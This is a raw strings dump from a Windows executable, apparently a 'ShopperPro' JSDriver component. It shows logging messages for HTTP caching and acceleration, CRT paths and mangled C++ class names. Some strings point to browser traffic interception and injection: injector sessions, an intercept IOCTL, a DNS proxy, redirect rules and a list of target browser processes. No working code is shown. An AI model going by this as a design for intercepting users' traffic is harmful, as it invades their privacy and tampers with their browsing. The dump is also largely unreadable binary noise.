[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s is not %s

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s was not found.

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d ___Error GetRequestRangeLocation failed.

AccelerationLogic::AccelerateIsSupported

[AccelerationLogic::ReportOnRequestFinished] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::UpdateFileContentType] FDM=%d - ContentType: %s

[AccelerationLogic::UpdateRequestURI] FDM=%d - URI: %s

[AccelerationLogic::UpdateFileHost] FDM=%d - Host: %s

[AccelerationLogic::UpdateFileContentDisposition] FDM=%d - Content-Disposition: %s

[AccelerationLogic::UpdateUserAgent] FDM=%d - User-Agent: %s, Download: %d

NonSupportRangeServersList

[AccelerationLogic::IsResponseCodeValid] *** Acceleration is not supported by the server ***. The response code %s is not %s

[AccelerationLogic::CreateAnyRule] FDM=%d

[AccelerationLogic::FileShouldBeAccelerated] DailyMotion seek not supported

[AccelerationLogic::IsOurConnection] FDM=%d *** Acceleration is not allowed ***. Module: %s

[AccelerationLogic::Reset] FDM=%d

[~AccelerationLogic - %p] FDM=%d - ... Leave

[~AccelerationLogic - %p] FDM=%d - Enter ...

[AccelerationLogic::UpdateAverageBPS] FDM=%d, Job:%d (3G: %d) - %d

[CHttpCacheData::FreeBuffers] CD:%d, FDM=%d - Releasing %lld bytes

[CHttpCacheData::SetCacheLimit] CD:%d, FDM=%d - %lld --> %lld

[CHttpCacheData::Write - ICacheWriter] CD:%d, FDM=%d - Written: %d (%lld) bytes

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d - Cache is orphan & has incomplete http header

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d

[CHttpCacheData::GetRanges] CD:%d, FDM=%d - Ranges: %lld-%lld

[CHttpCacheData::SetActive] CD:%d, FDM=%d, Active: %d -> %d

[CHttpCacheData::SetComplete] CD:%d, FDM=%d, Complete: %d -> %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - No Match! %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match - Ignore ranges (Code: %d) *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - Cookie No Match! (Code: %d) %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Finish writing %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d (%lld/%lld) bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Writen %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write new %d bytes - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write cached %d bytes, from offset %lld - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - GetTotalBytesWritten: %lld, BytesInBuffer: %lld, RANGE_START_POSITION: %lld, nDataBytesWritten: %lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Cache size: %d

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write %d bytes

[CHttpCacheData::AddCacheWorker] CD:%d, FDM=%d

[CHttpCacheData] CD:%d, Url: %s

[~CHttpCacheData] CD:%d

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d - Try to stop the owner caching FDM...

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d

[CHttpCacheData::DumpBufferToLogFile] CD:%d, FDM=%d

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes, from offset %lld (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Range: %lld-%lld

[CacheWorker::SetSize - %p] Cache size: %d

[CacheWorker::SetStatus - %p] WORKER_STATUS_FINISHED (%d) - job:%d

[CacheWorker::SetEncryptionKey - %p] Key: %p

[CacheWorker::AppendToCache - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::AppendToCache - %p] Bytes in buffer: %d

[CacheWorker::WriteToCacheWriter - %p] BytesWritten: %d, TotalBytesWritten: %lld, HeaderBytesDownloaded: %lld, DataBytesDownloaded: %lld

[CacheWorker::WriteToCacheWriter - %p] CacheData - Written %d bytes

[CacheWorker::WriteToCacheWriter - %p] CacheData - Going to write %d bytes

[CacheWorker::Write - %p] *** Finished to download & write job:%d ***

[CacheWorker::Write - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::Write - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] Before writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] ___Warning already finished job:%d

[CacheWorker::Write - %p] Bytes in buffer: %d

[CacheWorker::WriteBufferFromCache - %p] *** Finished to download & write job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) failed to download for a lot of time.

[CacheWorker::WriteBufferFromCache - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] Going to write %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] *** Worker Idle - Finished job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) - Worker Idle - failed to download for a lot of time.

f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\locale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocnum

f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xloctime

f:\dd\vctools\crt_bld\self_x86\crt\src\locale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmes

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon

%d / %m / %y

%I : %M : %S %p

%m / %d / %y

%b %d %H : %M : %S %Y

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xwcsxfrm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c

Client hook allocation failure at file %hs line %d.

Memory allocated at %hs(%d).

Client hook re-allocation failure at file %hs line %d.

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory after end of heap buffer.

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory before start of heap buffer.

CRT detected that the application wrote to a heap buffer that was freed.

crt block at 0x%p, subtype %x, %Iu bytes long.

client block at 0x%p, subtype %x, %Iu bytes long.

%hs(%d) :

#File Error#(%d) :

Data: <%s> %s

f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c

Visual C   CRT: Not enough memory to complete call to strerror.

f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c

_CrtDbgReport: String too long or IO Error

Debug %s!

Program: %s%s%s%s%s%s%s%s%s%s%s%s

f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c

f:\dd\vctools\crt_bld\self_x86\crt\src\read.c

%s(%d) : %s

_CrtDbgReport: String too long or Invalid characters in String

GetProcessWindowStation

f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_env.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c

f:\dd\vctools\crt_bld\self_x86\crt\src\input.c

f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c

Broken pipe

Inappropriate I/O control operation

Operation not permitted

f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c

portuguese-brazilian

operator

f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Content-Type: multipart/form-data; boundary=%s

ICACLS.EXE

SOFTWARE\%s

Global\%s_CONFIG_XML

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

Injector dump %s: %s

inj_rem remain %d

inj_loc remain %d

%s PutChunk send %d bytes to server

%s PutChunk send %d bytes to client

%s close pRemoteInj

%s close pLocalInj

New EmuSession flow %lld, now %d

Injector: Flow %lld, create session %X

Injector: Flow %lld, FDM=%d (%d)

%s ConnectedToVA, pLocalInj %p, pLocalVA %p

Delete EmuSession flow %lld, remain %d, chunks %d

%s delete Session %X

%s HandleChunk FWPS_STREAM_FLAG_SEND len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_SEND_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_ABORT

Injector: FDM=%d (%d)

%s ConnectToInj, Session not found pLocalVA %X

%s ConnectToInj

Cleanup %s

allports

iexplore.exe firefox.exe chrome.exe opera.exe webkit2webprocess.exe navigator.exe torch.exe u.exe epic.exe browser.exe maxthon.exe sbrender.exe vantvw.exe dragon.exe

[Stproxy]: open driver HANDLE %p, err %d

jsdriver: error parsing Config.json

parsing Config.json

IOCTL_ENABLE_INTERCEPT res %d

SetThreadPriority %d

error %d

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase

0123456789.eE-

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xutility

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocnum

C:\BUILDS\Build_JS\1.38.0.0\JsDriver\Release\jsdrv.pdb

WSAJoinLeaf

WS2_32.dll

VERSION.dll

USERENV.dll

HttpQueryInfoA

InternetOpenUrlA

InternetCrackUrlA

HttpSendRequestA

HttpAddRequestHeadersA

HttpOpenRequestA

WININET.dll

GetProcessHeap

GetCPInfo

PeekNamedPipe

KERNEL32.dll

MsgWaitForMultipleObjectsEx

CloseWindowStation

SetProcessWindowStation

OpenWindowStationA

USER32.dll

RegNotifyChangeKeyValue

RegOpenKeyExA

RegCloseKey

RegCreateKeyExA

RegDeleteKeyA

RegOpenKeyA

RegEnumKeyA

RegEnumKeyExA

RegQueryInfoKeyA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

HttpEndRequestA

HttpSendRequestExA

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AVSaveWatchUrl@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AV?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AVCEventsList@?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AV?$CAsyncUdpSocketServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

HTTP://

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

.?AVCAsyncUdpSocket@@

.?AVCExecuteUpdate@@

..\Common\Base64.cpp

..\Common\Base64MultiBytes.cpp

<>"#%{}|\^~[]`' ?&

<>"#{}|\^~[]`' ?&

.?AVCHttpAsync@@

.?AVIHttpProxyWorker@@

.?AV?$IBaseInterface@VIInjHttpProxyServer@@@@

.?AVIInjHttpProxyServer@@

.?AV?$CBaseInterface@VInjHttpProxyServer@@VIInjHttpProxyServer@@@@

.?AV?$IBaseInterface@VIHttpProxyServer@@@@

.?AVIHttpProxyServer@@

.?AVInjHttpProxyServer@@

.?AVHttpProxyServer@@

.?AV?$CBaseInterface@VHttpProxyServer@@VIHttpProxyServer@@@@

.?AVIHttpStreamSink@@

.?AVIHttpFileDownloadMgr@@

.?AVInjHttpProxyLocal@@

.?AVHttpProxyLocal@@

.?AVHttpProxyWorker@@

.?AVInjHttpProxyRemote@@

.?AVHttpProxyRemote@@

.?AVHttpParser@@

VA_SUBJECT_FMD_%d_WORKER_CREATED

VA_SUBJECT_FMD_%d_RANGE_CREATED

VA_SUBJECT_FMD_%d

VA_SUBJECT_FMD_%d_WORKER_%d

.?AVHttpCookie@@

.?AVHttpCookieJar@@

.?AV?$IBaseInterface@VIHttpCacheManager@@@@

.?AVIHttpCacheManager@@

.?AV?$CBaseInterface@VCHttpCacheManager@@VIHttpCacheManager@@@@

.?AVCHttpCacheManager@@

.?AVCProxyServerPassThrough@@

.?AVCHttpCacheData@@

zcÁ

.?AVCHttp@@

2.5.8305.1508

%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

8&8,8/949{9

0F0X0

>%?/?^?}?

2(2-222x2}2

>5>:>?> ?%?

7#777=7\7

6f6F6X6

>2?8???}?

< <$<(<,<0<4<~<

5#565;5|5

:,:0:4:8:<:

8-8}8

0-0A0U0i0}0

= >%>[?`?

1 20252:2

:*:8:&;5;|;

?/?4?9?|?

6 6$6(6,6

=,>0>4>8><>@>

*0004080<0

&0 000|0

99S9^9

="=(=5=:=@=

91969;9{9

9(9[9`93:

3?3T3f3n3

7 7$7(7,7

= =$=(=,=0=4=

1 1$1(1,1014181<1

2 2$2(2,2

; ;$;(;,;0;

4 4$4(4,4044484<4@4

; ;$;(;,;0;4;8;<;@;

9 9$9(9,9094989<9@9

,<0<4<8<

8 8$8(8,8084888<8$>(>

5 5$5(5,5054585<5

? ?$?(?,?0?4?8?

9$9,989\9|9

3(303<3`3

;,<8<\<|<

>$>,>8>\>|>

;$;,;4;@;`;

=(=0=<=`=

: ;,;4;`;

1$1<1@1`1

3 3$3<3@3\3`3|3

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator --

@std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator

Zstd::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator ==

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator --

dstd::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator *

Kstd::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator ==

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator *

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator --

Zstd::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator

std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator ==

std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator *

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator *

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator ==

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator ==

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator --

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator *

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator *

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator

